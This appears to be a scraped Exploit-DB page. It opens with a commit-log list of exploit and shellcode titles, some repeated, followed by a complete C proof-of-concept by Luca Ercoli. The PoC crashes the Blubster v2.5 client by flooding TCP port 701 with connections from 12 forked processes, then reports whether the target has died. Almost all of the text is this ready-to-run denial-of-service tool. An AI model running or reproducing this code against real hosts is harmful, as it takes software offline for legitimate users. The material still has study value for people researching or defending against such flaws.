880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
118 lines
No EOL
2.3 KiB
C
118 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/8482/info
|
|
|
|
t has been reported that Blubster is prone to a remote denial of service vulnerability due to a port flooding attack on TCP port 701. The problem is reported to present itself when a remote attacker floods port 701 with voice chat session requests. This issue may cause the software to crash resulting in a denial of service to legitimate users.
|
|
|
|
This attack may not be logged, therefore allowing an attack to exploit this issue persistently.
|
|
|
|
/******************************************************************
|
|
* Blubster client v2.5 Remote Denial of Service *
|
|
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
|
|
******************************************************************/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
|
|
|
|
int ck,port=701,sd,cx=0,contatore=0,prec;
|
|
|
|
struct sockaddr_in blubster_client;
|
|
|
|
|
|
|
|
void ending(char *client){
|
|
|
|
int i;
|
|
|
|
|
|
blubster_client.sin_family = AF_INET;
|
|
blubster_client.sin_port = htons((u_short)port);
|
|
blubster_client.sin_addr.s_addr = (long)inet_addr(client);
|
|
|
|
|
|
for(i = 0; i < 100; i++){
|
|
|
|
sd = socket(AF_INET, SOCK_STREAM, 0);
|
|
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client));
|
|
|
|
|
|
if(ck != 0) {
|
|
|
|
prec = 0;
|
|
|
|
if (prec == 0) contatore++;
|
|
if (prec == 1) contatore = 0;
|
|
|
|
if (contatore > 13) {
|
|
printf("! Remote client seems to be crashed.\n");
|
|
exit(0);
|
|
}
|
|
|
|
}
|
|
|
|
if(ck == 0) prec = 1;
|
|
|
|
close(sd);
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void kill_blubster(char *stringa){
|
|
|
|
short i;
|
|
|
|
blubster_client.sin_family = AF_INET;
|
|
blubster_client.sin_port = htons((u_short)port);
|
|
blubster_client.sin_addr.s_addr = (long)inet_addr(stringa);
|
|
|
|
|
|
for(i = 0; i < 50; i++){
|
|
|
|
|
|
sd = socket(AF_INET, SOCK_STREAM, 0);
|
|
ck = connect(sd, (struct sockaddr *) &blubster_client, sizeof(blubster_client));
|
|
|
|
|
|
if(ck != 0) exit(0);
|
|
|
|
close(sd);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
|
|
short i;
|
|
|
|
prec = 0;
|
|
|
|
if(argc < 2)
|
|
{
|
|
printf("\nUsage: %s <client-ip>\n", argv[0]);
|
|
exit(0);
|
|
}
|
|
|
|
|
|
prec=0;
|
|
|
|
printf ("\n\n+ DoS Started...\n");
|
|
printf("+ Flooding remote client...\n");
|
|
|
|
|
|
for (i=0; i<12; i++) if(!fork()) kill_blubster(argv[1]);
|
|
|
|
printf ("+ Ending...\n");
|
|
|
|
ending(argv[1]);
|
|
|
|
} |